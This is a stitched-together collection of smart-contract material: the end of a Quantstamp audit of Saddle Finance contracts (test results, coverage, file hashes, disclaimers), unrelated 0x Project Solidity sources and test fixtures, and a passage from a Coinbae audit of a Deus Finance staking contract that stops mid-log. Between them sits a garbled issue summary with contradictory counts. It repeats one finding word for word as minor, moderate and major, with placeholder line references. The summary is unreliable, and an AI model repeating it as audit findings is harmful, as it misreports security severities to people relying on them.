[Fixed]MathUtils.within1 MathUtils.difference return difference(a, b) <= 1; 3. Magic numbers should be replaced with named constants. For example, the magic number appears 3 times in . [Fixed] 256 SwapUtils.sol 4. If the same result of a function call is used multiple times, store the result in a local variable instead of calling the function multiple times, in order to save gas. For example: [Fixed]The function is called several times (including inside the loop) in the function. SwapUtils._xp(self) SwapUtils.calculateWithdrawOneTokenDY • The is called inside the loop from , however it has a constant value and should only be called once, before the loop. SwapUtils.feePerToken(self)SwapUtils.calculateWithdrawOneTokenDY • Similarly, to the previous bullet point is called inside the loop from . SwapUtils.feePerToken(self) SwapUtils.addLiquidity • 5. If any of the values in the array, the input parameter for , are greater than the values corresponding to the same token, then the function will revert without a clear error message due to the subtraction on L743: It is recommended to add a statement with a clear error message, which checks that for each token, at the beginning of the function. [Fixed]amounts SwapUtils.removeLiquidityImbalance balances balances1[i] = balances1[i].sub(amounts[i]); require amounts[i] <= self.balances[i] 6. The same issue as above would happen to the function if . [Fixed] SwapUtils.calculateTokenAmount deposit == false 7. should be changed to or any other precision that is necessary for clarity and consistency. [Fixed] uintuint256 8.In in the last commit, the function does not have an explicit statement if the -statement on L417 is not entered. This makes the return value of this function is ambiguous. We recommend adding an explicit statement at the end of this function. [Fixed]SwapUtils.sol return if return Test Results Test Suite Results All tests in the test suite are passing. However, all tests involve at most 2 tokens in the pool. Therefore, L327 in is never covered. We strongly recommend adding more tests with at least 3 tokens in the pool to assess the correctness of all implemented functionality. The test suite has been improved such that all statement are covered. This improvement includes over a dozen new tests, which also include tests having pools with more than 2 tokens, as well as simulations of attack attempts while the A parameter is ramping upwards and downwards. SwapUtils.solUpdate: Allowlist setPoolCap ✓ Emits PoolCap event (66ms) ✓ Reverts when non-owner tries to set the pool cap ✓ Sets and gets pool cap (109ms) setPoolAccountLimit & setMultiplier ✓ Emits PoolAccountLimit event ✓ Emits SetMultipliers event (1616ms) ✓ Reverts when non-owner tries to set the pool account limit ✓ Reverts when array lengths are different (59ms) ✓ Sets and gets pool account limit (1314ms) MathUtils within1 ✓ Returns true when a > b and a - b <= 1 ✓ Returns false when a > b and a - b > 1 ✓ Returns true when a <= b and b - a <= 1 ✓ Returns false when a <= b and b - a > 1 ✓ Reverts during an integer overflow difference ✓ Returns correct difference when a > b ✓ Returns correct difference when a <= b ✓ Reverts during an integer overflow OwnerPausable ✓ Emits an event on pausing ✓ Reverts when pausing if already paused ✓ Reverts when a non-owner tries to pause ✓ Emits an event on unpausing (40ms) ✓ Reverts when unpausing if already unpaused ✓ Reverts when a non-owner tries to unpause StakeableTokenWrapper ✓ Emits an event on staking (184ms) ✓ Emits an event on withdrawing (299ms) ✓ Only allows staked funds to be withdrawn (176ms) ✓ Returns correct staked balances (334ms) ✓ Returns correct total supply (173ms) Swap swapStorage lpToken ✓ Returns correct lpTokenName ✓ Returns correct lpTokenSymbol A ✓ Returns correct A value fee ✓ Returns correct fee value adminFee ✓ Returns correct adminFee value getToken ✓ Returns correct addresses of pooled tokens ✓ Reverts when index is out of range getTokenIndex ✓ Returns correct token indexes ✓ Reverts when token address is not found getTokenBalance ✓ Returns correct balances of pooled tokens ✓ Reverts when index is out of range getA ✓ Returns correct value addLiquidity ✓ Reverts when contract is paused ✓ Succeeds with expected output amount of pool tokens (238ms) ✓ Succeeds with actual pool token amount being within ±0.1% range of calculated pool token (216ms) ✓ Succeeds with correctly updated tokenBalance after imbalanced deposit (155ms) ✓ Reverts when minToMint is not reached due to front running (209ms) ✓ Reverts when block is mined after deadline ✓ Emits addLiquidity event (59ms) removeLiquidity ✓ Succeeds even when contract is paused (270ms) ✓ Succeeds with expected return amounts of underlying tokens (257ms) ✓ Reverts when user tries to burn more LP tokens than they own (171ms) ✓ Reverts when minAmounts of underlying tokens are not reached due to front running (302ms) ✓ Reverts when block is mined after deadline (159ms) ✓ Emits removeLiquidity event (209ms) removeLiquidityImbalance ✓ Reverts when contract is paused (186ms) ✓ Succeeds with calculated max amount of pool token to be burned (±0.1%) (412ms) ✓ Reverts when user tries to burn more LP tokens than they own (176ms) ✓ Reverts when minAmounts of underlying tokens are not reached due to front running (606ms) ✓ Reverts when block is mined after deadline (184ms) ✓ Emits RemoveLiquidityImbalance event (306ms) removeLiquidityOneToken ✓ Reverts when contract is paused. (172ms) ✓ Succeeds with calculated token amount as minAmount (431ms) ✓ Reverts when user tries to burn more LP tokens than they own (192ms) ✓ Reverts when minAmount of underlying token is not reached due to front running (628ms) ✓ Reverts when block is mined after deadline (186ms) ✓ Emits RemoveLiquidityOne event (290ms) swap ✓ Reverts when contract is paused ✓ Succeeds with expected swap amounts (152ms) ✓ Reverts when minDy (minimum amount token to receive) is not reached due to front running (243ms) ✓ Succeeds when using lower minDy even when transaction is front-ran (244ms) ✓ Reverts when block is mined after deadline ✓ Emits TokenSwap event (85ms) getVirtualPrice ✓ Returns expected value after initial deposit ✓ Returns expected values after swaps (231ms) ✓ Returns expected values after imbalanced withdrawal (567ms) ✓ Value is unchanged after balanced deposits (531ms) ✓ Value is unchanged after balanced withdrawals (186ms) setSwapFee ✓ Emits NewSwapFee event ✓ Reverts when called by non-owners ✓ Reverts when fee is higher than the limit ✓ Succeeds when fee is within the limit setAdminFee ✓ Emits NewAdminFee event ✓ Reverts when called by non-owners ✓ Reverts when adminFee is higher than the limit ✓ Succeeds when adminFee is within the limit getAdminBalance ✓ Is always 0 when adminFee is set to 0 (134ms) ✓ Returns expected amounts after swaps when adminFee is higher than 0 (221ms) withdrawAdminFees ✓ Reverts when called by non-owners ✓ Succeeds with expected amount of fees withdrawn (244ms) ✓ Withdrawing admin fees has no impact on users' withdrawal (1845ms) Guarded launch ✓ Only owner can remove the guard ✓ Reverts when depositing over individual limit (155ms) ✓ Reverts when depositing over pool cap (148ms) Test withdrawal fees on removeLiquidity ✓ Removing liquidity immediately after deposit (230ms) ✓ Removing liquidity 2 weeks after deposit (217ms) ✓ Removing liquidity 4 weeks after deposit (222ms) Test withdrawal fees on removeLiquidityOne ✓ Removing liquidity immediately after deposit (562ms) ✓ Removing liquidity 2 weeks after deposit (365ms) ✓ Removing liquidity 4 weeks after deposit (370ms) Test withdrawal fees on removeLiquidityImbalance ✓ Removing liquidity immediately after deposit (285ms)✓ Removing liquidity 2 weeks after deposit (290ms) ✓ Removing liquidity 4 weeks after deposit (284ms) updateUserWithdrawFee ✓ Test adding liquidity, and once again at 2 weeks mark then removing all deposits at 4 weeks mark (366ms) setDefaultWithdrawFee ✓ Emits NewWithdrawFee event ✓ Setting the withdraw fee affects past deposits as well (164ms) ✓ Reverts when fee is too high rampA ✓ Emits RampA event ✓ Succeeds to ramp upwards (66ms) ✓ Succeeds to ramp downwards (70ms) ✓ Reverts when non-owner calls it ✓ Reverts with 'New ramp cannot be started until 1 day has passed' ✓ Reverts with 'Insufficient ramp time' ✓ Reverts with 'futureA_ must be between 0 and MAX_A' ✓ Reverts with 'futureA_ is too small' ✓ Reverts with 'futureA_ is too large' stopRampA ✓ Emits StopRampA event ✓ Stop ramp succeeds (95ms) ✓ Reverts with 'Ramp is already stopped' (84ms) Check for timestamp manipulations ✓ Check for maximum differences in A and virtual price (115ms) Check for attacks while A is ramping upwards When tokens are priced equally: attacker creates massive imbalance prior to A change, and resolves it after ✓ Attack fails with 900 seconds between blocks (281ms) ✓ Attack fails with 2 weeks between transactions (mimics rapid A change) (256ms) When token price is unequal: attacker 'resolves' the imbalance prior to A change, then recreates the imbalance. ✓ Attack fails with 900 seconds between blocks (268ms) ✓ Attack succeeds with 2 weeks between transactions (mimics rapid A change) (263ms) Check for attacks while A is ramping downwards When tokens are priced equally: attacker creates massive imbalance prior to A change, and resolves it after ✓ Attack fails with 900 seconds between blocks (276ms) ✓ Attack succeeds with 2 weeks between transactions (mimics rapid A change) (268ms) When token price is unequal: attacker 'resolves' the imbalance prior to A change, then recreates the imbalance. ✓ Attack fails with 900 seconds between blocks (274ms) ✓ Attack fails with 2 weeks between transactions (mimics rapid A change) (279ms) Swap with 4 tokens addLiquidity ✓ Add liquidity succeeds with pool with 4 tokens (251ms) swap ✓ Swap works between tokens with different decimals (414ms) removeLiquidity ✓ Remove Liquidity succeeds (411ms) Check for timestamp manipulations ✓ Check for maximum differences in A and virtual price (136ms) Check for attacks while A is ramping upwards When tokens are priced equally: attacker creates massive imbalance prior to A change, and resolves it after ✓ Attack fails with 900 seconds between blocks (305ms) ✓ Attack fails with 2 weeks between transactions (mimics rapid A change) (313ms) When token price is unequal: attacker 'resolves' the imbalance prior to A change, then recreates the imbalance. ✓ Attack fails with 900 seconds between blocks (347ms) ✓ Attack succeeds with 2 weeks between transactions (mimics rapid A change) (337ms) Check for attacks while A is ramping downwards When tokens are priced equally: attacker creates massive imbalance prior to A change, and resolves it after ✓ Attack fails with 900 seconds between blocks (322ms) ✓ Attack succeeds with 2 weeks between transactions (mimics rapid A change) (327ms) When token price is unequal: attacker 'resolves' the imbalance prior to A change, then recreates the imbalance. ✓ Attack fails with 900 seconds between blocks (339ms) ✓ Attack fails with 2 weeks between transactions (mimics rapid A change) (335ms) 137 passing (3m) Code Coverage All coverage values except for the branch coverage are at high levels. However, we strongly recommend increasing all branch coverage scores up to 100% to guarantee that all functionality is automatically tested such that bugs can be discovered automatically when doing maintenance or vulnerability fixes. File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 98.35 76.58 98.81 98.38 Allowlist.sol 100 66.67 100 100 CERC20.sol 0 0 0 0 … 27,28,29,32 LPToken.sol 100 50 100 100 MathUtils.sol 100 100 100 100 OwnerPausable.sol 100 100 100 100 StakeableTokenWrapper.sol 100 50 100 100 Swap.sol 100 70 100 100 SwapUtils.sol 100 81.48 100 100 All files 98.35 76.58 98.81 98.38 AppendixFile Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 67e9537b0492335c0a35e06b2592b381bf4a98b98cc55b274e4eb9fcf499a84d ./saddle/saddle-contract/contracts/OwnerPausable.sol 66b9c330e3a2ce83397a6bc7be859f45961ea9e297087c19643ad8813b1353b5 ./saddle/saddle-contract/contracts/CERC20.sol 669fe8749faee14649bec8827cf3d6ce4dbb20380b0ded5323e56520671daa7c ./saddle/saddle-contract/contracts/MathUtils.sol a15195d4df8dec031e115995957c9a6b4d4b15735ff20e3353ebb6fb97e41d61 ./saddle/saddle-contract/contracts/StakeableTokenWrapper.sol 6bf0bf1fd4919b0e41d61acdabb8447bde62e7fbefbc6d8a61911d01c898810f ./saddle/saddle-contract/contracts/Allowlist.sol 13162ebae74af60302b89e12c3206e7c1a1c3d98bfc94148e5c1f059aabbfb35 ./saddle/saddle-contract/contracts/LPToken.sol ef8d1ac76a868c3d162739df2855cd79802c66d83de04c975e307086b00d8e1c ./saddle/saddle-contract/contracts/Swap.sol ddd00f529318417f4123fdccfbceed1239eaf0c26c41476ade5a3300a0307ab2 ./saddle/saddle-contract/contracts/SwapUtils.sol 1490962b2aa9330ac086cc2e4a818ccdb3c7d53cae7f6610ff61bfccc285a083 ./saddle/saddle-contract-master/contracts/OwnerPausable.sol 31e44b42dd7ba840d44c0f8ac4755d454326c7dca2293307f372f03c169117cc ./saddle/saddle-contract-master/contracts/CERC20.sol 01d44ba2a48ae729a55a4693edbdee2c0d0b240d9a2ede20a74e69dd332da662 ./saddle/saddle-contract-master/contracts/MathUtils.sol 722060fc84d095e3744c1923fcabcf2a61d63a382fddfeabf3e158af06ed1b5b ./saddle/saddle-contract-master/contracts/StakeableTokenWrapper.sol 6e6e637694ea40136cd3a0a29527248fa1e3c5385d25e38607b53244a3c0c3a7 ./saddle/saddle-contract-master/contracts/Allowlist.sol 9b57ca96cd16d33ca0ab4bbfce489a3b00deef3471b0fc15c0551ba0e1079429 ./saddle/saddle-contract-master/contracts/LPToken.sol 817233e89ca3c23f05443961617cbdf80ab0d5e82620b6b24d353629ff672064 ./saddle/saddle-contract-master/contracts/Swap.sol a53135e0e541c033cfd25b4233119c4f68e3b270033b1d6e3c50cde167faaeac ./saddle/saddle-contract-master/contracts/SwapUtils.sol Tests d96df5ca3e4a91db14ef49df16970cc7bac9d0fea467a73eac34722205e6a485 ./test/mathUtils.ts 05f7f3b8fd924d416f236bf307a37e5605f9a704633048ac4ab5976f1d2ba89d ./test/ownerPausable.ts 6f55ec6d16f5c8494439f17872cf4ce7940cd7aa9a2e8d7d7de670d4d9d47b2a ./test/allowlist.ts cc7eee39aae25d00513c9413008552af03d4f084dc090583ee873e334ea4af32 ./test/testUtils.ts 50abe9b4899ec323c51ebd158bdd55f725d9ded3ff991be59ab9124b188c9555 ./test/swap.ts ddd4bceddf74ae6a314dee936720ba6b0988c0efb404ccb018b2bcea15e6f50b ./test/stakeableTokenWrapper.ts e93831cc015f5c0b98ac20569f724d60a697b121c109d152511c5603b06c55c6 ./test/swap4tokens.ts Changelog 2020-11-03 - Initial report based on commit •83491b3 2020-11-18 - Updated report based on commit •5a56e24 2020-12-25 - Updated report based on commit •ebec9fd 2020-12-01 - Updated report based on commit •759c028 2020-12-07 - Updated report based on commit •33baaaa 2020-12-09 - Updated report based on commit •08c06c1 About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Saddle Finance Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 5 - Moderate: 4 - Major: 1 - Critical: 1 - Informational: 8 - Undetermined: 1 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in the function `getPoolInfo` (Lines 590-591) 2.b Fix (one line with code reference) - Check return value of `getPoolInfo` (Lines 590-591) Moderate Issues 3.a Problem (one line with code reference) - Unchecked return value in the function `getPoolInfo` (Lines 590-591) 3.b Fix (one line with code reference) - Check return value of `getPoolInfo` (Lines 590-591) Major Issues 4.a Problem (one line with code reference) - Unchecked return value in the function `getPoolInfo` (Lines 590-591) 4.b Fix (one line with code reference) - Check return value of `getPoolInfo` (Lines 590-591) Critical Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 5 - Major: 4 - Critical: 1 Minor Issues - Problem: QSP-15: Unchecked return value (line 5) - Fix: Add a check for the return value (line 5) - Problem: QSP-16: Unchecked return value (line 8) - Fix: Add a check for the return value (line 8) - Problem: QSP-17: Unchecked return value (line 11) - Fix: Add a check for the return value (line 11) - Problem: QSP-18: Unchecked return value (line 14) - Fix: Add a check for the return value (line 14) Moderate Issues - Problem: QSP-1: Unchecked return value (line 5) - Fix: Add a check for the return value (line 5) - Problem: QSP-2: Unchecked return value (line 8) - Fix: Add a check for the return value (line 8) - Problem: QSP-3: Unchecked return value (line 11) Issues Count of Minor/Moderate/Major/Critical: Minor: 4 Moderate: 3 Major: 1 Critical: 0 Minor Issues: 2.a Incorrect computation in getD (SwapTemplateBase.vyUpdate: 5a56e24) 2.b Fixed by updating code (SwapTemplateBase.vyUpdate: 5a56e24) Moderate Issues: 3.a Integer Overflow / Underflow (SwapTemplateBase.vyUpdate: 5a56e24) 3.b Fixed by updating code (SwapTemplateBase.vyUpdate: 5a56e24) 3.c Missing input validation (SwapTemplateBase.vyUpdate: 5a56e24) 3.d Fixed by updating code (SwapTemplateBase.vyUpdate: 5a56e24) Major Issue: 4.a The value of the A parameter can be influenced by block.timestamp (SwapTemplateBase.vyUpdate: 5a56e24) 4.b Acknowledged (QSP-15) Observations: - Quantstamp's objective was to evaluate the repository for security-related
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import { Ownable } from "zeppelin-solidity/contracts/ownership/Ownable.sol"; import { ERC20 as Token } from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; /// @title TokenTransferProxy - Transfers tokens on behalf of contracts that have been approved via decentralized governance. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> contract TokenTransferProxy is Ownable { /// @dev Only authorized addresses can invoke functions with this modifier. modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); /* * Public functions */ /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); LogAuthorizedAddressAdded(target, msg.sender); } /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } LogAuthorizedAddressRemoved(target, msg.sender); } /// @dev Calls into ERC20 Token contract, invoking transferFrom. /// @param token Address of token to transfer. /// @param from Address to transfer token from. /// @param to Address to transfer token to. /// @param value Amount of token to transfer. /// @return Success of transfer. function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { return Token(token).transferFrom(from, to, value); } /* * Public constant functions */ /// @dev Gets all authorized addresses. /// @return Array of authorized addresses. function getAuthorizedAddresses() public constant returns (address[]) { return authorities; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import { Ownable } from "zeppelin-solidity/contracts/ownership/Ownable.sol"; import { ERC20 as Token } from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; contract TokenTransferProxyNoDevdoc is Ownable { modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); /* * Public functions */ function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); LogAuthorizedAddressAdded(target, msg.sender); } function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } LogAuthorizedAddressRemoved(target, msg.sender); } function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { return Token(token).transferFrom(from, to, value); } /* * Public constant functions */ function getAuthorizedAddresses() public constant returns (address[]) { return authorities; } } pragma solidity 0.4.24; pragma experimental ABIEncoderV2; contract StructParamAndReturn { struct Stuff { address anAddress; uint256 aNumber; } /// @dev DEV_COMMENT /// @param stuff STUFF_COMMENT /// @return RETURN_COMMENT function methodWithStructParamAndReturn(Stuff stuff) public pure returns(Stuff) { return stuff; } } pragma solidity ^0.4.24; contract MultipleReturnValues { function methodWithMultipleReturnValues() public pure returns(int, int) { return (0, 0); } } pragma solidity ^0.4.24; /// @title Contract Title /// @dev This is a very long documentation comment at the contract level. /// It actually spans multiple lines, too. contract NatspecEverything { int d; /// @dev Constructor @dev /// @param p Constructor @param constructor(int p) public { d = p; } /// @notice publicMethod @notice /// @dev publicMethod @dev /// @param p publicMethod @param /// @return publicMethod @return function publicMethod(int p) public pure returns(int r) { return p; } /// @dev Fallback @dev function () public {} /// @notice externalMethod @notice /// @dev externalMethod @dev /// @param p externalMethod @param /// @return externalMethod @return function externalMethod(int p) external pure returns(int r) { return p; } /// @dev Here is a really long developer documentation comment, which spans /// multiple lines, for the purposes of making sure that broken lines are /// consolidated into one devdoc comment. function methodWithLongDevdoc(int p) public pure returns(int) { return p; } /// @dev AnEvent @dev /// @param p on this event is an integer. event AnEvent(int p); /// @dev methodWithSolhintDirective @dev // solhint-disable no-empty-blocks function methodWithSolhintDirective() public pure {} }
Coinbae Audit DEAStaking from Deus Finance December 2020 Contents Disclaimer 1Introduction, 2 Scope, 5 Synopsis, 7 Best Practice, 8 High Severity, 9 Team, 12 Introduction Audit: In December 2020 Coinbae’s audit report division performed an audit for the Deus Finance team (DEAStaking pool). https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Deus Finance: DEUS lets you trade real-world assets and derivatives, like stocks and commodities, directly on the Ethereum blockchain. As described in the Deus Finance litepaper . DEUS finance is a Decentralized Finance (DeFi) protocol that allows bringing any verifiable digital and non-digital asset onto the blockchain. It boosts the transfer of value across many different markets and exchanges with unprecedented ease, transparency, and security. The launch system is currently being built on the Ethereum-blockchain and will be chain-agnostic in the future. It started out originally as development on a tool to manage the asset basket for a community crypto investment pool. This turned into the vision of DEUS as a DAO-governed, decentralized platform that holds and mirrors assets. More information can be found at https://deus.finance/home/ . 2Introduction Overview: Information: Ticker: DEA Type: Token (0x80ab141f324c3d6f2b18b030f1c4e95d4d658778) Ticker: DEUS Type: Token (0x3b62f3820e0b035cc4ad602dece6d796bc325325) Pool, Asset or Contract address: 0x1D17d697cAAffE53bf3bFdE761c90D61F6ebdc41 Supply: Current: 2,384,600 Explorers: Etherscan.io Websites: https://deus.finance/home/ Links: Github 3Introduction Compiler related issues: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. This so it includes all the latest bug fixes of the solidity compiler. When you use for instance the openzeppelin contracts in your code the solidity version you should use should be 0.8.0 because this is the latest version supported. Caution: The solidity versions used for the audited contracts are 0.6.11 this version has the following known bugs so the compiled contract might be susceptible to: EmptyByteArrayCopy – Medium risk Copying an empty byte array (or string) from memory or calldata to storage can result in data corruption if the target array's length is increased subsequently without storing new data. https://etherscan.io/solcbuginfo?a=EmptyByteArrayCopy DynamicArrayCleanup – Medium risk When assigning a dynamically-sized array with types of size at most 16 bytes in storage causing the assigned array to shrink, some parts of deleted slots were not zeroed out. https://etherscan.io/solcbuginfo?a=DynamicArrayCleanup Advice: Update the contracts to the latest supported version of solidity. https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D61F6 ebdc41#code DEA Staking 4Audit Report Scope Assertions and Property Checking: 1. Solidity assert violation. 2. Solidity AssertionFailed event. ERC Standards: 1. Incorrect ERC20 implementation. Solidity Coding Best Practices: 1. Outdated compiler version. 2. No or floating compiler version set. 3. Use of right-to-left-override control character. 4. Shadowing of built-in symbol. 5. Incorrect constructor name. 6. State variable shadows another state variable. 7. Local variable shadows a state variable. 8. Function parameter shadows a state variable. 9. Named return value shadows a state variable. 10. Unary operation without effect Solidity code analysis. 11. Unary operation directly after assignment. 12. Unused state variable. 13. Unused local variable. 14. Function visibility is not set. 15. State variable visibility is not set. 16. Use of deprecated functions: call code(), sha3(), … 17. Use of deprecated global variables (msg.gas, ...). 18. Use of deprecated keywords (throw, var). 19. Incorrect function state mutability. 20. Does the code conform to the Solidity styleguide. Convert code to conform Solidity styleguide: 1. Convert all code so that it is structured accordingly the Solidity styleguide. 5Audit Report Scope Categories: High Severity: High severity issues opens the contract up for exploitation from malicious actors. We do not recommend deploying contracts with high severity issues. Medium Severity Issues: Medium severity issues are errors found in contracts that hampers the effectiveness of the contract and may cause outcomes when interacting with the contract. It is still recommended to fix these issues. Low Severity Issues: Low severity issues are warning of minor impact on the overall integrity of the contract. These can be fixed with less urgency. 6Audit Report 11110 3 8 0Identified Confirmed Critical High Medium Low Analysis: https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Risk: Low (Explained) 7Audit Report Coding best practices: Function could be marked as external SWC-000: Calling each function, we can see that the public function uses 496 gas, while the external function uses only 261. The difference is because in public functions, Solidity immediately copies array arguments to memory, while external functions can read directly from calldata. Memory allocation is expensive, whereas reading from calldata is cheap. So if you can, use external instead of public. Affected lines: 1. function setWallets(address _daoWallet, address _earlyFoundersWallet) public onlyOwner { [#65] 2. function setShares(uint256 _daoShare, uint256 _earlyFoundersShare) public onlyOwner { [#70] 3. function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner { [#76] 4. function deposit(uint256 amount) public { [#105] 5. function withdraw(uint256 amount) public { [#123] 6. function emergencyWithdraw() public { [#156] 7. function withdrawAllRewardTokens(address to) public onlyOwner { [#171] 8. function withdrawAllStakedtokens(address to) public onlyOwner { [#178] 8Audit Report High severity issues, Overpowered user: See the update and teams response on page 10. Description: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. Line 65: functionsetWallets(address_daoWallet,address_earlyFoundersWallet)publ iconlyOwner{daoWallet=_daoWallet;earlyFoundersWallet=_earlyFounders Wallet;} Line 70: functionsetShares(uint256_daoShare,uint256_earlyFoundersShare)public onlyOwner{withdrawParticleCollector();daoShare=_daoShare;earlyFound ersShare=_earlyFoundersShare;} Line 70: functionsetRewardPerBlock(uint256_rewardPerBlock)publiconlyOwner{u pdate();emitRewardPerBlockChanged(rewardPerBlock,_rewardPerBlock);r ewardPerBlock=_rewardPerBlock;} Recommendation: Use a multisig wallet for overpowered users. 9Audit Report Solved issues (Risk moved to Low): Update: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4 b6e9c Deus Finance DAO link: https://client.aragon.org/#/deus Debugging snippet Deus-DEA: status true Transaction mined and execution succeed transaction hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c from 0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630 to Staking.transferOwnership(address) 0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19 gas 30940 gas transaction cost 30940 gas hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c input 0xf2f...9bc0f decoded input { "address newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f" } decoded output - logs [ { "from": 